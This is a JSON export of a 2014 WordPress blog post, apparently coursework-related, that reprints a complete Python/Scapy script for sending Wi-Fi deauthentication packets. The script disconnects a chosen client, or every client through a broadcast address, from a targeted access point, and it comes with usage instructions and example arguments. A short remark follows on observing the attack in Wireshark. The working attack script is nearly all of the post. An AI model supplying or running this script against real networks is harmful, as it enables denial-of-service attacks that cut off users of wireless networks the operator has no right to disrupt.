{"id":200,"date":"2014-05-11T23:39:57","date_gmt":"2014-05-11T15:39:57","guid":{"rendered":"http:\/\/matnet.my\/blog\/?p=200"},"modified":"2014-09-11T09:10:03","modified_gmt":"2014-09-11T01:10:03","slug":"de-auth-packet-from-scapy","status":"publish","type":"post","link":"https:\/\/matnet.my\/blog\/2014\/05\/de-auth-packet-from-scapy\/","title":{"rendered":"De-Auth packet from Scapy"},"content":{"rendered":"<p>This script is from\u00a0<span style=\"color: #545454;\">Adam Maxwell (@<\/span><span style=\"font-weight: bold; color: #545454;\">catalyst256<\/span><span style=\"color: #545454;\">)<\/span><\/p>\n<p><em><span style=\"color: #ff0000;\">#!\/usr\/bin\/env python<\/span><\/em><br \/>\n<em><span style=\"color: #ff0000;\"># Scapy based wifi Deauth by @catalyst256<\/span><\/em><br \/>\n<em><span style=\"color: #ff0000;\"># Change the client to FF:FF:FF:FF:FF:FF if you want a broadcasted deauth to all stations on the targeted Access Point<\/span><\/em><\/p>\n<p><em><span style=\"color: #ff0000;\">import sys<\/span><\/em><br \/>\n<em><span style=\"color: #ff0000;\">if len(sys.argv) != 5:<\/span><\/em><br \/>\n<em><span style=\"color: #ff0000;\"> print &#8216;Usage is .\/scapy-deauth.py interface bssid client count&#8217;<\/span><\/em><br \/>\n<em><span style=\"color: #ff0000;\"> print &#8216;Example &#8211; .\/scapy-deauth.py mon0 00:11:22:33:44:55 55:44:33:22:11:00 50&#8217;<\/span><\/em><br \/>\n<em><span style=\"color: #ff0000;\"> sys.exit(1)<\/span><\/em><\/p>\n<p><em><span style=\"color: #ff0000;\">from scapy.all import *<\/span><\/em><\/p>\n<p><em><span style=\"color: #ff0000;\">conf.iface = sys.argv[1] # The interface that you want to send packets out of, needs to be set to monitor mode<\/span><\/em><br \/>\n<em><span style=\"color: #ff0000;\">bssid = sys.argv[2] # The BSSID of the Wireless Access Point you want to target<\/span><\/em><br \/>\n<em><span style=\"color: #ff0000;\">client = sys.argv[3] # The MAC address of the Client you want to kick off the Access Point<\/span><\/em><br \/>\n<em><span style=\"color: #ff0000;\">count = sys.argv[4] # The number of deauth packets you want to send<\/span><\/em><\/p>\n<p><em><span style=\"color: #ff0000;\">conf.verb = 0<\/span><\/em><\/p>\n<p><em><span style=\"color: #ff0000;\">packet = RadioTap()\/Dot11(type=0,subtype=12,addr1=client,<br \/>\n<\/span><\/em><em><span style=\"color: #ff0000;\">addr2=bssid,addr3=bssid)\/Dot11Deauth(reason=7)<\/span><\/em><\/p>\n<p><em><span style=\"color: #ff0000;\">for n in range(int(count)):<\/span><\/em><br \/>\n<em><span style=\"color: #ff0000;\"> sendp(packet)<\/span><\/em><br \/>\n<em><span style=\"color: #ff0000;\"> print &#8216;Deauth sent via: &#8216; + conf.iface + &#8216; to BSSID: &#8216; + bssid + &#8216; for Client: &#8216; + client<\/span><\/em><\/p>\n<p><span style=\"color: #000000;\">This script will send De-Auth packet to the target victims.<\/span><\/p>\n<p>I did run the Wireshark when the attacks are running, and the result is the same as attacks from the airplay-ng as in my previous post. But it&#8217;s more precise where the value of the packet send is same as receive to the victim. If you set it as &#8220;1&#8221; so the packet send to the victim also only &#8220;1&#8221; packet.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This script is from\u00a0Adam Maxwell (@catalyst256) #!\/usr\/bin\/env python # Scapy based wifi Deauth by @catalyst256 # Change the client to &hellip; <a href=\"https:\/\/matnet.my\/blog\/2014\/05\/de-auth-packet-from-scapy\/\" class=\"more-link\">More <span class=\"screen-reader-text\">De-Auth packet from Scapy<\/span> <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,5],"tags":[],"class_list":["post-200","post","type-post","status-publish","format-standard","hentry","category-bsd-nix","category-cs778","standard"],"_links":{"self":[{"href":"https:\/\/matnet.my\/blog\/wp-json\/wp\/v2\/posts\/200","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/matnet.my\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/matnet.my\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/matnet.my\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/matnet.my\/blog\/wp-json\/wp\/v2\/comments?post=200"}],"version-history":[{"count":3,"href":"https:\/\/matnet.my\/blog\/wp-json\/wp\/v2\/posts\/200\/revisions"}],"predecessor-version":[{"id":210,"href":"https:\/\/matnet.my\/blog\/wp-json\/wp\/v2\/posts\/200\/revisions\/210"}],"wp:attachment":[{"href":"https:\/\/matnet.my\/blog\/wp-json\/wp\/v2\/media?parent=200"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/matnet.my\/blog\/wp-json\/wp\/v2\/categories?post=200"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/matnet.my\/blog\/wp-json\/wp\/v2\/tags?post=200"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}